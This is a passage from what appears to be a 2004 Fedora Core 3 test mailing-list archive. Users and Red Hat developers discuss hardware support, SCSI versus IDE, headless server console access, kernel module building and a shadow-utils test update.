they were part of the server as well. I know it would be difficult to see all of the boot process, but if the virtual display driver got loaded early on, you could at least see the rest of the boot process. Does anyone know of something like this ? I've looked and I can't find anything. Thanks -- Kim Lux (Mr.) Diesel Research Inc From gcarter at aesgi.com Tue Nov 16 17:51:46 2004 From: gcarter at aesgi.com (Gregory G Carter) Date: Tue, 16 Nov 2004 11:51:46 -0600 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <41993D49.7020704@yahoo.com> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <1100543036l.3541l.1l@devel.mpeters.us> <41993D49.7020704@yahoo.com> Message-ID: <419A3E32.1080001@aesgi.com> Allen Kistler wrote: >Michael A. Peters wrote: > > >>On 11/15/2004 08:45:54 AM, Kim Lux wrote: >> >> >> >>>Ouch: "Basically, what I'm saying is I fail to see where FC stands out >>>above other distributions that would make me want to use it. Granted, >>>after the general buginess I experienced with FC2, I may be biased, >>>but >>>the whole point is the fact that I wasn't having similar issues with >>>the >>>other distributions, so why should I have to put up with them with >>>FC?" >>> >>> >>People who post stuff like that rarely can identify what their issue >>was. Last *serious* redhat/fedora problem I can recall was the gcc 2.96 >>thing. Oh - and RH8 shipped with a gnome that would go crazy if you >>made your panel go vertical or added a vertical drawer. >> >>9 time out 10 when I have come across a seriously messed up system, I >>find that the user has replaced half of the vendor supplied stuff with >>3rd party (less or no QA) replacements, forced installed stuff opposed >>to resolving dependencies, etc. >> >>And of course - there are always the slashdot trolls - who post just to >>get reactions. >> >> > >See bug 123281 about flakey behavior with genuine SCSI drives with mixed >audio/data CDs. > >In addition to the problem listed there, I've had highly variable >success with writing CDRs from kernel to kernel. I've got FC3 installed >on 2 different machines with completely different hardware (that *ouch* >works fine with that other OS and Roxio) -- Plextor CD & Plextor CDR, >Toshiba DVD & Teac CDR. > >I suspect what happened is that IDE has overtaken SCSI so much that not >as much genuine SCSI testing occurs among kernel hackers. > Bad assumption. Lots of problems with this statement with regards to Linux support of IDE and SCSI. Perhaps some history around IDE would suffice? http://64.233.167.104/search?q=cache:oCdiyzdLNfAJ:linas.org/linux/peeves.html+IDE+subsystem+sucks+in+Linux&hl=en Despite what people would have you believe, SCSI isn't going away. I read about SERIAL ATA blah blah better blah blah faster... But that assumes the SCSI spec is standing still, which it is not. SCSI is designed to be a complete I/O sub system unto itself, and it can operate quite nicely without the CPU. Serial ATA and IDE cannot do that, and are designed for cost/performance curves akin to the desktop needs. If you want to do big RELIABLE stuff, you are going to use SCSI in one form or another to manage I/O. Possibly even iSCSI if you want to have a PETABYTE storage system...which is replacing Fibre Channel. You also realize the physical MECHANISM of say a 250GB SCSI drive vs a 250GB IDE drive from the same manufacturer is NOT the same. IBM makes lots of DESKSTAR IDE drives of the same capacity as thiner SCSI models. When large amounts of Deskstars where failing, the SCSI models didn't have such problems of equivalent storage capacity. The reason is SCSI drives are designed and engineered for a vastly different job than desktop drives. http://www.tech-report.com/news_reply.x/3035/1/ For a desktop casual user it probably makes sense to go with a Serial ATA or IDE drive. But I think you are mixing in some assumptions about SCSI and IDE here that are not correct in that IDE has overtaken SCSI, and what uses are for either devices do not really correlate to bugs each driver system contains nor does it suggest kernel developers are favoring one over the other. 2.6 is still baking out the bugs and I don't think it is a correct view to take that because this is so, IDE is overtaken SCSI. IDE has always overtaken SCSI in sheer numbers, but to suggest less work or work is dropping on the SCSI subsystem support for storage is a bit much. > I know modern >IDE is supposed to be SCSI in disguise (i.e., same command set), but >apparently there are some real world differences. kernel 2.6 introduced >"simplification" of the SCSI/IDE code, but perhaps a little too much got >simplified away. > > Mmm, well I am not sure what you mean by Modern IDE. Perhaps you mean: http://www.acc.umu.se/~sagge/scsi_ide/ From a command set perspective, SCSI and IDE command set implementations share pretty much nothing in common: http://www.t10.org/scsi-3.htm http://www.t13.org/#Links Perhaps what you are referring to is the unification/IO API in the kernel to treat for example all devices as SCSI devices. Here is a overview of 2.6 for you to read along that lines among other things about 2.6: http://www-106.ibm.com/developerworks/library/l-inside.html?ca=dnt-438 Ever notice when you mount your USB drive it becomes posted as a SCSI device? If IDE is really truly gaining ground as you say, why are all storage devices treated as SCSI devices...(I.E. USB, Firewire) I wonder why they just didn't become another ATAPI device? (i.e. HDX instead of SDXX)? ??? :-) >The current Nahant beta appears to be based on the work that went into >FC3. I'm not a RHEL tester, but I'm hoping RHEL testing exposes a wider >range of SCSI devices to the new kernel and shows up errors better than >FC2/3 (and kernel 2.5) testing did. > > > As for slashdot posting whether FC3 is worthwhile or not...why... OF COURSE IT IS..... :-) -gc From lux at diesel-research.com Tue Nov 16 17:51:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 16 Nov 2004 10:51:56 -0700 Subject: No sound on laptop, any progress? In-Reply-To: <1100627222.3052.7.camel@zm226.zmet.agh.edu.pl> References: <20041116170034.1ACAF72EA3@hormel.redhat.com> <1100627222.3052.7.camel@zm226.zmet.agh.edu.pl> Message-ID: <1100627516.6473.14.camel@localhost.localdomain> Here is my bug on the same issue: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 I was waiting too, until I found the fix. What do your control panel settings for sound look like ? Are you rebooting to let Linux not recognize the blacklisted device ? I had sound disabled when I made my change, rebooted and then enabled it. Can you successfully run alsamixer ? On Tue, 2004-11-16 at 18:47 +0100, Borkowski Dariusz wrote: > > I think you'll have to wait for the developers to have a look at the > > problem. You might want to add your email to the CC list on the bug. > > I've been waiting since FC3test2 release. I alse sent a question to a > person who this bug is assigned to. No reply. > This bug (http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136082) is > full of messages (including a lot of debug info) only from me. > > Darek Borkowski > > > > > On Tue, 2004-11-16 at 09:34 +0100, Borkowski Dariusz wrote: > > > Hi Kim, > > > > > > I use clean installed FC3 from official ISOs and have all rpms up to > > > date. I copied string from Your previous post to the > > > /etc/hotplug/blacklist. I tried to put there snd-intel8x0 > > > or snd-intel8x0m or both. None works. > > > I would find the source of problem but I have no idea where to look. > > > Why the snd-intel8x0m is treated as USB hotplug device? > > > What this do to the soundcard. AFAIK snd-intel8x0m is the modem driver > > > not soundcard. > > > I'll try it also under KDE, but I'm used to use Gnome. > > > > > > regards > > > > > > Darek Borkowski > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > -- Kim Lux (Mr.) Diesel Research Inc From livelinux at nwst.de Tue Nov 16 18:27:19 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Tue, 16 Nov 2004 19:27:19 +0100 Subject: Redhat kde menu documentation ? Message-ID: <200411161927.19035.livelinux@nwst.de> Hi, Does anyone know where i find documentation on the layout redhat uses for kde menu files (which go to the user dir, which sections exist and where are they defined etc) ? tia, Dirk From dravet at calumet.purdue.edu Tue Nov 16 19:20:46 2004 From: dravet at calumet.purdue.edu (Jason Dravet) Date: Tue, 16 Nov 2004 13:20:46 -0600 Subject: Laptop as USB display device for server rack monitoring ? Message-ID: <200411161920.iAGJKk503432@nwi.calumet.purdue.edu> I use console redirection to monitor my servers. Check the bios of your servers and look for something like console redirection. This will allow you to redirect all of the keyboard, mouse, and video to the serial port. Then all you have to do is buy a serial port concentrator (I use a DIGI TS16 and CM/16) set it up to talk to the server over the serial port. After that all you do is ssh into the port server, connect to the serial port of the server you want to, and away you go. This way I can see and do everything from my office. Thanks, Jason From dcbw at redhat.com Tue Nov 16 19:58:15 2004 From: dcbw at redhat.com (Dan Williams) Date: Tue, 16 Nov 2004 14:58:15 -0500 Subject: Redhat kde menu documentation ? In-Reply-To: <200411161927.19035.livelinux@nwst.de> References: <200411161927.19035.livelinux@nwst.de> Message-ID: <1100635095.31985.1.camel@dcbw.boston.redhat.com> Dirk, Both Gnome and KDE use the same menu description files, look in redhat- menus package for stuff like: /etc/xdg/menus /etc/xdg/menus/applications.menu /etc/xdg/menus/preferences.menu /etc/xdg/menus/server-settings.menu /etc/xdg/menus/start-here.menu /etc/xdg/menus/system-settings.menu and the *.directory files. The file format conforms the the XDG Menu specification, which we can't get to because freedesktop.org is down right now. Dan On Tue, 2004-11-16 at 19:27 +0100, Dirk Westfal wrote: > Hi, > > Does anyone know where i find documentation on the layout redhat uses for kde > menu files (which go to the user dir, which sections exist and where are they > defined etc) ? > > tia, > Dirk > From kyrre at solution-forge.net Tue Nov 16 20:23:54 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 16 Nov 2004 21:23:54 +0100 Subject: Laptop as USB display device for server rack monitoring ? In-Reply-To: <1100627287.6473.10.camel@localhost.localdomain> References: <1100627287.6473.10.camel@localhost.localdomain> Message-ID: <1100636634.2682.26.camel@kyrre> tir, 16.11.2004 kl. 18.48 skrev Kim Lux: > Lets say I've got a rack of headless servers. They do have a video > card, but no monitor. Lets say that one of them is giving trouble - > won't boot, no network, etc. The way it is right now, I have to cart a > monitor over to the machine in question and hook it and a mouse and > keyboard up before I can work on it. > > Is there a way in Linux to use a USB or firewire equipped laptop as the > monitor/keyboard/mouse for the servers on the rack ? Could one have a > USB port on the front of each server and direct some sort of video > output from it to the laptop and use the laptop display/keyboard/mouse > as the input to the server ? > > I know about X11 and X11 forwarding and that works fine for a lot of > things, but it doesn't work for watching the machine during the boot > process and it won't work on a machine that has a network issue. > > What I am asking for, I guess, is a virtual (software) video card > (device) in the server that takes the X11 display commands that would > have been sent to the video card and redirects them, via the USB cable > to my laptop display. The laptop would have to be running some sort of > USB device software as well. > > Even better would be to be able to use the hard drive/cdrom drive of the > laptop as if they were part of the server as well. > > I know it would be difficult to see all of the boot process, but if the > virtual display driver got loaded early on, you could at least see the > rest of the boot process. > > Does anyone know of something like this ? I've looked and I can't find > anything. > > Thanks > > -- > Kim Lux (Mr.) Diesel Research Inc I think you should rather be looking for one of those LAN-based admin pci cards... From kyrre at solution-forge.net Tue Nov 16 20:26:16 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 16 Nov 2004 21:26:16 +0100 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100572081.3542.5.camel@localhost.localdomain> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100572081.3542.5.camel@localhost.localdomain> Message-ID: <1100636775.2682.28.camel@kyrre> > They want the same OS to stay on that box until the box is > obsolete and removed from the user's desktop. Then he shouldn't install windows... Okay, it is the same OS, but he still has to go through the whole install of the OS, and then install the software... From bavinic at comcast.net Tue Nov 16 20:32:53 2004 From: bavinic at comcast.net (Jim Martin) Date: Tue, 16 Nov 2004 15:32:53 -0500 Subject: Laptop as USB display device for server rack monitoring ? In-Reply-To: <1100636634.2682.26.camel@kyrre> References: <1100627287.6473.10.camel@localhost.localdomain> <1100636634.2682.26.camel@kyrre> Message-ID: <419A63F5.6080804@comcast.net> Kyrre Ness Sjobak wrote: >tir, 16.11.2004 kl. 18.48 skrev Kim Lux: > > >>Lets say I've got a rack of headless servers. They do have a video >>card, but no monitor. Lets say that one of them is giving trouble - >>won't boot, no network, etc. The way it is right now, I have to cart a >>monitor over to the machine in question and hook it and a mouse and >>keyboard up before I can work on it. >> >>Is there a way in Linux to use a USB or firewire equipped laptop as the >>monitor/keyboard/mouse for the servers on the rack ? Could one have a >>USB port on the front of each server and direct some sort of video >>output from it to the laptop and use the laptop display/keyboard/mouse >>as the input to the server ? >> >>I know about X11 and X11 forwarding and that works fine for a lot of >>things, but it doesn't work for watching the machine during the boot >>process and it won't work on a machine that has a network issue. >> >>What I am asking for, I guess, is a virtual (software) video card >>(device) in the server that takes the X11 display commands that would >>have been sent to the video card and redirects them, via the USB cable >>to my laptop display. The laptop would have to be running some sort of >>USB device software as well. >> >>Even better would be to be able to use the hard drive/cdrom drive of the >>laptop as if they were part of the server as well. >> >>I know it would be difficult to see all of the boot process, but if the >>virtual display driver got loaded early on, you could at least see the >>rest of the boot process. >> >>Does anyone know of something like this ? I've looked and I can't find >>anything. >> >>Thanks >> >>-- >>Kim Lux (Mr.) Diesel Research Inc >> >> > >I think you should rather be looking for one of those LAN-based admin >pci cards... > > > actually, what i use in my rack is a rack mount kb/monitor which folds falt when not in use and slides into the rack and a 10 port rack mount kvm, got my kb/monitor on ebay for 150.00 and the kvm is about 100, cheaper than a laptop, and bult into the rack. Jim From david at fubar.dk Tue Nov 16 21:33:53 2004 From: david at fubar.dk (David Zeuthen) Date: Tue, 16 Nov 2004 16:33:53 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <1100198032.3381.2.camel@apple.bananas.hopto.org> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> <20041110225920.GA30430@devserv.devel.redhat.com> <1100188677.4014.7.camel@davidz> <20041111155941.GC4243@devserv.devel.redhat.com> <1100196214.4014.15.camel@davidz> <1100198032.3381.2.camel@apple.bananas.hopto.org> Message-ID: <1100640833.4546.43.camel@davidz> On Thu, 2004-11-11 at 18:33 +0000, Si Jones wrote: > If you want me to test it let me know, will I have to use the dev repo > to get the update???... > I've opened bug 139600 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139600 on this issue and added you as Cc. I will add a link to a fixed version for you to test. Cheers, David From alan at redhat.com Tue Nov 16 22:48:23 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 16 Nov 2004 17:48:23 -0500 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only, recognized as "root" In-Reply-To: <419A388A.900@earthlink.net> References: <20041115135021.417CA74550@hormel.redhat.com> <4198C471.9010400@bchilds.com> <419A388A.900@earthlink.net> Message-ID: <20041116224823.GN10721@devserv.devel.redhat.com> On Tue, Nov 16, 2004 at 11:27:38AM -0600, Gerry Tool wrote: > BUT, this bug has been recognized for 7 months, and so far all I see is > a lot of bickering about who should fix it. Like SELinux the HAL/udev changes are affecting core code, and unsuprisingly both of them have had a few kinks > device I've been using since Red Hat Linux 7.3. FC2 broke scanner use, > and now FC3 has broken use of internal Zip drives (bugzilla 136971). > I'm getting discouraged. Seems easy to fix in HAL, attached a comment lets see if its doable and David can whistle up a magic fix From alan at redhat.com Tue Nov 16 22:51:07 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 16 Nov 2004 17:51:07 -0500 Subject: Laptop as USB display device for server rack monitoring ? In-Reply-To: <1100627287.6473.10.camel@localhost.localdomain> References: <1100627287.6473.10.camel@localhost.localdomain> Message-ID: <20041116225107.GO10721@devserv.devel.redhat.com> On Tue, Nov 16, 2004 at 10:48:07AM -0700, Kim Lux wrote: > monitor/keyboard/mouse for the servers on the rack ? Could one have a > USB port on the front of each server and direct some sort of video > output from it to the laptop and use the laptop display/keyboard/mouse > as the input to the server ? Linux supports serial console for the built in serial ports. We support VNC sessions so you could set up a 10.0.0* USB network with USB pc 2 pc cables for that. Seems this question isn't "test" related however From alan at redhat.com Tue Nov 16 22:56:44 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 16 Nov 2004 17:56:44 -0500 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <419A3E32.1080001@aesgi.com> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <1100543036l.3541l.1l@devel.mpeters.us> <41993D49.7020704@yahoo.com> <419A3E32.1080001@aesgi.com> Message-ID: <20041116225644.GP10721@devserv.devel.redhat.com> On Tue, Nov 16, 2004 at 11:51:46AM -0600, Gregory G Carter wrote: > Despite what people would have you believe, SCSI isn't going away. I > read about SERIAL ATA blah blah better blah blah faster... I talk to lots of vendors. Parallel SCSI is dead, just the momentum keeps it alive (existing installs, habit etc). > SCSI is designed to be a complete I/O sub system unto itself, and it can > operate quite nicely without the CPU. So can SATA (and parallel ATA) > to take that because this is so, IDE is overtaken SCSI. IDE has always > overtaken SCSI in sheer numbers, but to suggest less work or work is > dropping on the SCSI subsystem support for storage is a bit much. The linux "scsi" subsystem is a "scsi command" subsystem not a scsi as in zillion wires, terminator nightmares driver. SCSI the command set is a live and well - IDE ATAPI is SCSI command, USB storage is SCSI command, FC is SCSI command, iSCSI is SCSI command.. only ATA and floppy really doesnt follow that command model nowdays. Alan From fedora at ehoeve.com Tue Nov 16 23:05:49 2004 From: fedora at ehoeve.com (Eric Hoeve) Date: Tue, 16 Nov 2004 17:05:49 -0600 Subject: access scsi tape drive under I2O?? Message-ID: <1100646348.2323.89.camel@ws28.ehoeve.com> I have: Adaptec 2000S zero-channel RAID controller 32MB (BIOS 1.41 2001/07/13) and therefore using I2O. I did a default custom install of FC3 and was able to install everything just fine. I have no problems with installation, but I am unable to access my scsi tape drive (A Sony SDT-11000: Channel 1 ID 6). I am running the following modules: i2o_core,i2o_proc,i2o_config,i2o_block Under /proc/i2o/iop0/206 I see: authorized_users ddm_identity dev_name phys_dev sensors user_info claimed dev_identity groups priv_msgs sgl_limits users The only interesting one seemed to be dev_identity cat /proc/i2o/iop0/206/dev_identity Device Class : SCSI Device Owner TID : 0xfff Parent TID : 0x009 Vendor info : SONY S Product info : SDT-11000 Description : 0 Product rev. : 0200 Serial number : Hardware: Supermicro P4DP6/E7500/Adaptec 7899W Ultra 160 Dual Xeon 2.4 4 GB RAM Adaptec 2000S zero-channel RAID controller 32MB (BIOS 1.41 2001/07/13) Matrox G540 Dual Head Video Controller Soundblaster Live 5.1 Sony SDT-11000 DDS-4 68-pin Ultra 2/LVD I can supply more info upon request. Thanks in advance -Eric -- Eric Hoeve fedora at ehoeve dot com From alan at redhat.com Tue Nov 16 23:39:18 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 16 Nov 2004 18:39:18 -0500 Subject: access scsi tape drive under I2O?? In-Reply-To: <1100646348.2323.89.camel@ws28.ehoeve.com> References: <1100646348.2323.89.camel@ws28.ehoeve.com> Message-ID: <20041116233918.GC10721@devserv.devel.redhat.com> On Tue, Nov 16, 2004 at 05:05:49PM -0600, Eric Hoeve wrote: > I did a default custom install of FC3 and was able to install everything > just fine. I have no problems with installation, but I am unable to > access my scsi tape drive (A Sony SDT-11000: Channel 1 ID 6). > I am running the following modules: > i2o_core,i2o_proc,i2o_config,i2o_block You need i2o_scsi for tape drives, unless it implements tape class, in which case you need to write a tape class driver. I'd expect it to be under scsi because nobody ever saw a tape class device hence no driver was written. From havill at redhat.com Wed Nov 17 00:06:01 2004 From: havill at redhat.com (Adrian Havill) Date: Tue, 16 Nov 2004 19:06:01 -0500 Subject: Fedora Core 3 Test Update: shadow-utils-4.0.3-42 Message-ID: <419A95E9.9090605@redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-435 2004-11-16 --------------------------------------------------------------------- Product : Fedora Core 3 Name : shadow-utils Version : 4.0.3 Release : 42 Summary : Utilities for managing accounts and shadow password files. Description : The shadow-utils package includes the necessary programs for converting UNIX password files to the shadow password format, plus programs for managing user and group accounts. The pwconv command converts passwords to the shadow password format. The pwunconv command unconverts shadow passwords and generates an npasswd file (a standard UNIX password file). The pwck command checks the integrity of password and shadow files. The lastlog command prints out the last login times for all users. The useradd, userdel, and usermod commands are used for managing user accounts. The groupadd, groupdel, and groupmod commands are used for managing group accounts. --------------------------------------------------------------------- Update Information: Artificial limits regarding the maximum amount of users (previously 1024) have been removed. Now limited only by memory/disk space. "add machine script" feature in Samba can now be used again. --------------------------------------------------------------------- * Tue Nov 16 2004 Adrian Havill 2:4.0.3-42 - change MAXMEM static limit on group count to dynamic (#125510) - re-allow "$" as last char for the sake of samba (#132782) - don't strip binaries for debuginfo --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ d52b31c3218bcb76f9693a3f75f5a45e SRPMS/shadow-utils-4.0.3-42.src.rpm b429012b1b09f90c7e08e59a61a47622 x86_64/shadow-utils-4.0.3-42.x86_64.rpm 1e985d22ac9cbbe37dd3bb6f0715f359 x86_64/debug/shadow-utils-debuginfo-4.0.3-42.x86_64.rpm 335c22b13a5280375634dc37a474e3bd i386/shadow-utils-4.0.3-42.i386.rpm 92146f734f0115e7e80a7dedf1f01312 i386/debug/shadow-utils-debuginfo-4.0.3-42.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. Within /etc/sysconfig/rhn/sources enable the following line: yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH --------------------------------------------------------------------- From P.R.Schaffner at IEEE.org Tue Nov 16 11:14:46 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Tue, 16 Nov 2004 06:14:46 -0500 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100572081.3542.5.camel@localhost.localdomain> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100572081.3542.5.camel@localhost.localdomain> Message-ID: <1100603686.14144.17.camel@tabb1.tabb> On Mon, 2004-11-15 at 20:28 -0600, Rodolfo J. Paiz wrote: > On Mon, 2004-11-15 at 18:49 +0000, Timothy Murphy wrote: > > I must confess I have this niggling feeling > > that Redhat may not feel it is in their interest > > for Fedora to be too easy to install and use, > > as this might lesses the attraction of their commercial system. > > I hope someone will tell me this is nonsense. Don't think its so much nonsense as a matter of interpretation of motives. FC releases are not meant for the commercial market, as pointed out below, so there's not such a strong motivation to make every release bullet-proof as possible. We geeks are willing to deal with the warts to get the latest fun stuff. > Here you go: it's nonsense. :-) > > The attraction of their commercial system is for corporations, who are > the same people primarily and consistently forced to give Microsoft tons > of money. RHEL-WS costs $180/year IIRC, which is WAAAAAAAY more than > nearly anyone will pay for a home system. Ya' got that right. > But those corporations do pay for it, and they pay primarily to get a > five-year end-of-life commitment and some support. So "reducing the > attraction" of Fedora is a non-issue; the people who really are the > target market for RHEL will, in their large majority, not be interested > in Fedora anyway. Tell an IT manager to reinstall every desktop at least > once a year (assuming you skip every other release, even) and they'll > throw fits. They want the same OS to stay on that box until the box is > obsolete and removed from the user's desktop. That's why we're running WBEL on servers and more cautious user's desktops. We can't currently afford the RHEL tap, despite having bought RH boxed sets since about RH3.x through RH9, and don't really feel we need that level of support. Tim - you might be more comfortable recommending WBEL, Caos, Tao, or Scientific Linux Red Hat derivatives to those who are not ready for the Fedora wild ride. [And thanks to Red Hat for "enabling" these other free stable distributions.] Phil From P.R.Schaffner at IEEE.org Tue Nov 16 11:21:40 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Tue, 16 Nov 2004 06:21:40 -0500 Subject: Lost hard drivers In-Reply-To: References: Message-ID: <1100604100.14144.19.camel@tabb1.tabb> On Mon, 2004-11-15 at 21:52 -0800, JERRY WHITMIRE wrote: > Hi Jerry here > I guess i needed to explain where i lost the hard drives it is not in the > boot up they were on Kde. and > Gnome desktop. my Fedora 3 test 3 boots fine. these drives are in the boot > up grub config.file. > I can boot to them from there. Have did a fresh install and have mounted the > drives and am trying to get it updated again. That is the hard part. > Thanks to all of the people that help so for it is very helpful. > Is there away to get the lost hard drivers back to Ked. and Gnome desktop > after an upgrade of Fedora core 3 test 3 lost the drives again after update > ? Or can someone tell me where i can get the info to get them back on my > desktop hdb Windows Xp. AND hdc extra space. They are both fat 32 so it will > see > them THANKS AGAIN. Still seems to be some less-than-full communications here. Not clear what "hdb Windows Xp. AND hdc extra space" means. Sounds like you are able to get all the fat partitions mounted but just can't get the icons on the user's desktop. I that the case? Are you still running FC3test3? If so, a fresh FC3 install might be the way to go as you seem to have done a fresh (FC3t3 install?) once anyway. These questions would then be better directed to fedora-list. Won't get much help on test from an obsolete test version. Phil From cpg at users.sourceforge.net Wed Nov 17 02:13:40 2004 From: cpg at users.sourceforge.net (Carlos Puchol) Date: Tue, 16 Nov 2004 18:13:40 -0800 Subject: building a driver in /lib/modules/2.6.9-1.667/build/ - how? need src.rpm? Message-ID: <20041117021340.GA9252@rome.puchol.com> hi, i have a driver, called my-driver.c here, that builds cleanly on a clean, official 2.6.9 tree: ... MODPOST CC drivers/char/my-driver.mod.o LD [M] drivers/char/my-driver.ko .. i made modifications to the Kconfig and Makefile, .config, etc. so that it all goes well. however, i would like to compile and run it in the stock kernel that a given fc3 machine is running. i gather that i have to build it in /lib/modules/2.6.9-1.667/build/ however, i am not sure _exactly_ how. first, do i need the kernel sources in /usr/src/linux-2.6.9-1.667? i would hope not, since i see a build/include directory, etc. (also, i guess not, since the nvidia driver seems to have been partially compiled dynamically). currently i don't have the sources in the official place, but i think i know that i can build them and make them available [*]. however, still what do i do then? i edited Kconfig, .config and the Makefile just like i did in the official tree, did make oldconfig, and then ... make or make modules barfs ... [17:45:55](2)machina:build# pwd /lib/modules/2.6.9-1.667/build [17:47:10](2)machina:build# make modules CHK include/linux/version.h CHK include/asm-x86_64/offset.h /bin/sh: arch/x86_64/kernel/asm-offsets.s: No such file or directory UPD include/asm-x86_64/offset.h mv: cannot stat `include/asm-x86_64/offset.h.tmp': No such file or directory make: *** [include/asm-x86_64/offset.h] Error 1 [17:47:11](2)machina:build# however, interestingly, i seem to compile the module just fine like this: [17:47:11](2)machina:build# make drivers/char/my-driver.o HOSTCC scripts/basic/fixdep HOSTCC scripts/basic/split-include HOSTCC scripts/basic/docproc HOSTCC scripts/genksyms/genksyms.o HOSTCC scripts/genksyms/lex.o HOSTCC scripts/genksyms/parse.o HOSTLD scripts/genksyms/genksyms CC scripts/mod/empty.o HOSTCC scripts/mod/mk_elfconfig MKELF scripts/mod/elfconfig.h HOSTCC scripts/mod/file2alias.o HOSTCC scripts/mod/modpost.o HOSTCC scripts/mod/sumversion.o HOSTLD scripts/mod/modpost HOSTCC scripts/kallsyms HOSTCC scripts/pnmtologo HOSTCC scripts/conmakehash CC [M] drivers/char/my-driver.o [17:47:29](2)machina:build# however .. i can't seem to be able to load it: [17:49:34](2)machina:build# insmod drivers/char/my-driver.o my-driver: error inserting 'drivers/char/my-driver.o': -1 Invalid module format [17:50:00](2)machina:build# [17:50:14](2)machina:build# uname -a Linux machina 2.6.9-1.667 #1 Tue Nov 2 14:50:10 EST 2004 x86_64 x86_64 x86_64 GNU/Linux [17:51:08](2)machina:build# i think i am missing something simple. one thing i have noticed, though, is that working in this directory is really easy to _blow away_ /lib/modules/2.6.9-1.667/kernel/. this is very alarming, so i need to be careful about building this stuff. again, the goal is to automate compiling this module, for _any_ FC3 machine (even if the kernel has been upgraded) without installing a new kernel, of course. the assumption is that the kernel running has been installed relatively "properly" within the system, with all modules, etc. thanks in advance, -c [*] i got the hint from the recent thread about the kernel sources ... From DwaineGarden at rogers.com Wed Nov 17 02:47:44 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Tue, 16 Nov 2004 21:47:44 -0500 Subject: Getting SPRING Multi-Card media reader working under Fedora In-Reply-To: References: <41919B17.2080503@rogers.com> Message-ID: <419ABBD0.6070503@rogers.com> Jon Nettleton wrote: >All you need to do is add max_scsi_luns=8 to the end of your kernel >line in /etc/grub.conf. The number should be the number of slots you >have on the device > >http://fedoranews.org/krishnan/tips/tip044.shtml > >-Jon > > >On Tue, 09 Nov 2004 23:37:43 -0500, Dwaine Garden > wrote: > > >>I have a six-in-one media reader. The first slot works fine in >>Fedora. I did read that some devices need probing of the scsi lun's. >>There was some information that needed to be provided to get the fedora >>team to make the necessary changes, so the device could work without >>enabling probing of LUN's in the kernel. >> >>I have the Spring-Rev1.1 Multi 6-in-one media reader. I would like to >>get the device to work with different storage media. Could someone >>let me know what information is required. I then get the information >>and open up a bugzilla report on it. >> >>Dwaine. >> >>-- >>fedora-test-list mailing list >>fedora-test-list at redhat.com >>To unsubscribe: >>http://www.redhat.com/mailman/listinfo/fedora-test-list >> >> >> > > > It did not work. I added the line to both modprobe.conf and grub.conf. Only get sda1, which is the compact flash card. The SD memory slot is not picked up by udev. Here is some information from my system log. Nov 16 21:14:02 www fstab-sync[3153]: removed all generated mount points Nov 16 21:14:02 www fstab-sync[3166]: added mount point /media/cdrecorder for /dev/hdd Nov 16 21:14:02 www fstab-sync[3180]: added mount point /media/cdrecorder1 for /dev/hdc Nov 16 21:14:08 www fstab-sync[3313]: added mount point /media/MainCard for /dev/sda1 Nov 16 21:14:09 www fstab-sync[3355]: added mount point /media/floppy for /dev/fd0 Here is the scsi module loading. It did not understand the command. Nov 16 21:13:39 www kernel: scsi_mod: Unknown parameter `max_scsi_luns' Nov 16 21:13:39 www kernel: SCSI subsystem initialized Nov 16 21:13:39 www kernel: Initializing USB Mass Storage driver... Nov 16 21:13:39 www kernel: scsi0 : SCSI emulation for USB Mass Storage devices Nov 16 21:13:39 www kernel: Vendor: SPRING Model: MultiCard Slot A Rev: 0100 Nov 16 21:13:39 www kernel: Type: Direct-Access ANSI SCSI revision: 02 Nov 16 21:13:39 www kernel: usbcore: registered new driver usb-storage Nov 16 21:13:39 www kernel: USB Mass Storage support registered. Nov 16 21:13:39 www kernel: usb 4-2: configuration #1 chosen from 4 choices Nov 16 21:13:39 www kernel: SCSI device sda: 62592 512-byte hdwr sectors (32 MB) Nov 16 21:13:39 www kernel: sda: Write Protect is off Nov 16 21:13:39 www kernel: sda: assuming drive cache: write through Nov 16 21:13:39 www kernel: sda: sda1 Nov 16 21:13:39 www kernel: Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0 I'm running the following Fedora 3 kernel. Nov 16 21:13:38 www kernel: Linux version 2.6.9-1.667 (bhcompile at tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004 Any other suggestions? Dwaine. From byte at aeon.com.my Wed Nov 17 02:48:14 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 17 Nov 2004 10:48:14 +0800 Subject: Another NetworkManager question 